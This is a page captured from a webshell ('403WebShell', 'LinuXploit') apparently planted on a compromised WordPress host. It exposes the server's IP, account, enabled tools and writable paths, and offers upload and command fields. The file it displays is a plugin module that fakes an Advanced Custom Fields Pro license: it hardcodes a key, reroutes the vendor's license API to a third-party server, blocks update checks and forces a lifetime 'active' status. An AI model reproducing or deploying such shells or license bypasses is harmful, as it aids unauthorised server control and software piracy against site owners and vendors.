$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules/acf-pro.php
<?php
/**
 * ACF Pro module.
 *
 * Redirects ACF Pro license API calls to GLS3.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * ACF Pro license and update module.
 */
class ACF_Pro extends AbstractModule {

	/**
	 * ACF Pro license key.
	 *
	 * @var string
	 */
	private string $license_key = 'c2d33db6-ff4d-4c49-b2f7-c42f49242f42';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'acf-pro';
		$this->name        = 'Advanced Custom Fields Pro';
		$this->description = 'Manages ACF Pro license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.1.0';
		$this->target      = array(
			'plugin_dir'  => 'advanced-custom-fields-pro',
			'plugin_file' => 'acf.php',
		);
		$this->target_id   = '1641630710';

		$this->update_transients = array(
			'acf_plugin_updates' => array(
				'success' => true,
				'checked' => array(),
			),
		);

		$this->blocked_domains = array(
			'connect.advancedcustomfields.com/v2/plugins/update-check' => self::generic_block(),
		);
	}

	/**
	 * Initialize module — redirect API calls, set license data.
	 */
	public function init(): void {
		ApiRedirector::create( 'https://connect.advancedcustomfields.com', HELLOPACK_GLS3_URL . '/acf-pro' );

		$this->set_license_key();
		$this->set_license_status();
	}

	/**
	 * Set ACF Pro license key (base64-encoded serialized array).
	 */
	private function set_license_key(): void {
		// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_maybe_serialize, WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
		$encoded = base64_encode(
			maybe_serialize(
				array(
					'key' => $this->license_key,
					'url' => get_home_url(),
				)
			)
		);

		hellopack_ensure_option( 'acf_pro_license', $encoded );
	}

	/**
	 * Set ACF Pro license status.
	 */
	private function set_license_status(): void {
		$current = HELLOPACK_CLIENT_NETWORK_ACTIVATED
			? get_site_option( 'acf_pro_license_status', array() )
			: get_option( 'acf_pro_license_status', array() );

		// Keep the already-stored next_check while it is still in the future.
		// Rebuilding it from time() on every request would make $data differ from the
		// stored value each time, so hellopack_ensure_option() would rewrite the option
		// on every single request — needless DB write churn on busy sites.
		$next_check = ( is_array( $current ) && ! empty( $current['next_check'] )
			&& (int) $current['next_check'] > time() )
			? (int) $current['next_check']
			: time() + YEAR_IN_SECONDS;

		$data = array(
			'status'                  => 'active',
			'created'                 => 1757743171,
			'expiry'                  => 0,
			'name'                    => 'PRO',
			'lifetime'                => true,
			'refunded'                => false,
			'view_licenses_url'       => '',
			'manage_subscription_url' => '',
			'error_msg'               => '',
			'next_check'              => $next_check,
			'legacy_multisite'        => true,
		);

		hellopack_ensure_option( 'acf_pro_license_status', $data );
	}

	/**
	 * Cleanup on disable — remove ACF license options.
	 */
	public function cleanup(): void {
		hellopack_delete_option( 'acf_pro_license' );
		hellopack_delete_option( 'acf_pro_license_status' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit